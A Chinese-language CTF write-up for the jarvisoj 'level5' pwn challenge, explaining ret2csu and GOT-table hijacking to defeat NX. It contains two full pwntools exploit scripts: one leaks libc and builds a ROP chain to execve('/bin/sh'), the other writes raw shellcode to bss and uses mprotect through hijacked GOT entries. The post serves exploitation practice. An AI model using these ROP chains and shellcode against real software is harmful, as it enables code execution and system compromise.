0%

ret2csu+got表劫持

jarvisoj_level中都是一些基础题目,较为简单

仔细做了做,解决了一些以前遗留的问题与误区,做这个 level5 的时候,发现有个师傅的思路很有意思(这种思路应该可以来对付ORW,也可以成为绕NX的手段)

level5

1643187885994

1643187903026

1643187911369

64位,dynamically,开了NX

1643187980355

经典泄露数据:可以用DynELF或LibcSearcher

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
from pwn import*
from LibcSearcher import*

p=process('./level5')
elf=ELF('./level5')

write_got=elf.got['write']
write_plt=elf.plt['write']
main_addr=0x40061A

csu_front_addr=0x400690
csu_end_addr=0x4006AA

def csu(rbx, rbp, r12, r13, r14, r15, last):
payload = 'a'*0x80+'b'*0x8
payload += p64(csu_end_addr)
payload += p64(rbx)+p64(rbp)+p64(r12)+p64(r13)+p64(r14)+p64(r15)
payload += p64(csu_front_addr)
payload += b'a' * 0x38
payload += p64(last)
p.send(payload)

csu(0, 1, write_got, 8, write_got, 1, main_addr)
p.recvuntil('Input:\n')
write_libc=u64(p.recv(8))
success('write_libc >> '+hex(write_libc))

obj=LibcSearcher('write',write_libc)
libc_base=write_libc-obj.dump('write')
system_libc=libc_base+obj.dump('system')
execve_libc=libc_base+obj.dump('execve')
bin_sh_libc=libc_base+obj.dump('str_bin_sh')
success('libc_base >> '+hex(libc_base))

pop_rdi_ret=0x0000000000026b72+libc_base
pop_rsi_ret=0x0000000000027529+libc_base
pop_rdx_rbx_ret=0x0000000000162866+libc_base

payload='a'*0x80+'b'*0x8
payload+=p64(pop_rdi_ret)+p64(bin_sh_libc)
payload+=p64(pop_rsi_ret)+p64(0)
payload+=p64(pop_rdx_rbx_ret)+p64(0)+p64(0)
payload+=p64(execve_libc)
p.sendline(payload)

p.interactive()

​ // 一般“system”打不通

程序要求不使用“system”和“execve”(只能使用shellcode)

这时就需要考虑绕过NX:栈迁移 + mprotect

但这里不用栈迁移,用另一种方式:ret2csu + got表劫持

  • 在bss段中写入“shellcode”
  • 把“shellcode”和“mprotect”都写入got表
  • 利用“ret2csu”的特性执行“mprotect”和“ret2csu”

完整exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
from pwn import*
from LibcSearcher import*

p=process('./level5')
#p=remote('node4.buuoj.cn',26297)
elf=ELF('./level5')
context(os='linux',arch='amd64',log_level='debug')

write_got=elf.got['write']
write_plt=elf.plt['write']
read_got=elf.got['read']
read_plt=elf.plt['read']
main_addr=0x40061A
bss_addr=0x600A88+0x100

csu_front_addr=0x400690
csu_end_addr=0x4006AA

def csu(rbx, rbp, r12, r13, r14, r15, last):
payload = b'a'*0x80+b'b'*0x8
payload += p64(csu_end_addr)
payload += p64(rbx)+p64(rbp)+p64(r12)+p64(r13)+p64(r14)+p64(r15)
payload += p64(csu_front_addr)
payload += b'a' * 0x38
payload += p64(last)
p.send(payload)

#gdb.attach(p)

csu(0, 1, write_got, 8, write_got, 1, main_addr)
p.recvuntil('Input:\n')
write_libc=u64(p.recv(8))
success('write_libc >> '+hex(write_libc))

obj=LibcSearcher('write',write_libc)
libc_base=write_libc-obj.dump('write')
system_libc=libc_base+obj.dump('system')
execve_libc=libc_base+obj.dump('execve')
bin_sh_libc=libc_base+obj.dump('str_bin_sh')
success('libc_base >> '+hex(libc_base))

pop_rdi_ret=0x0000000000026b72+libc_base
pop_rsi_ret=0x0000000000027529+libc_base
pop_rdx_rbx_ret=0x0000000000162866+libc_base

#shellcode=asm(shellcraft.amd64.linux.sh(),arch='amd64')
shellcode='\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05'
payload=b'a'*0x80+b'b'*0x8
payload+=p64(pop_rdi_ret)+p64(0)
payload+=p64(pop_rsi_ret)+p64(bss_addr)
payload+=p64(pop_rdx_rbx_ret)+p64(0x400)+p64(0)
payload+=p64(read_plt)+p64(main_addr)
p.sendline(payload)
p.sendline(shellcode)

mprotect_libc=libc_base+obj.dump('mprotect')
success('mprotect_libc >> '+hex(mprotect_libc))

shellcode_got=0x0000000000600A48
payload=b'a'*0x80+b'b'*0x8
payload+=p64(pop_rdi_ret)+p64(0)
payload+=p64(pop_rsi_ret)+p64(shellcode_got)
payload+=p64(pop_rdx_rbx_ret)+p64(0x200)+p64(0)
payload+=p64(read_plt)+p64(main_addr)
p.sendline(payload)
p.send(p64(bss_addr))

mprot_got= 0x0000000000600A50
payload=b'a'*0x80+b'b'*0x8
payload+=p64(pop_rdi_ret)+p64(0)
payload+=p64(pop_rsi_ret)+p64(mprot_got)
payload+=p64(pop_rdx_rbx_ret)+p64(0x200)+p64(0)
payload+=p64(read_plt)+p64(main_addr)
p.sendline(payload)
p.send(p64(mprotect_libc))

#pause()

csu(0, 1, mprot_got, 7, 0x1000, 0x600000, main_addr)
csu(0, 1, shellcode_got, 0, 0, 0, main_addr)

p.interactive()

报错总结

需要输入地址的地方必须用“send”,因为“sendline”最后加上的“\n”会扰乱地址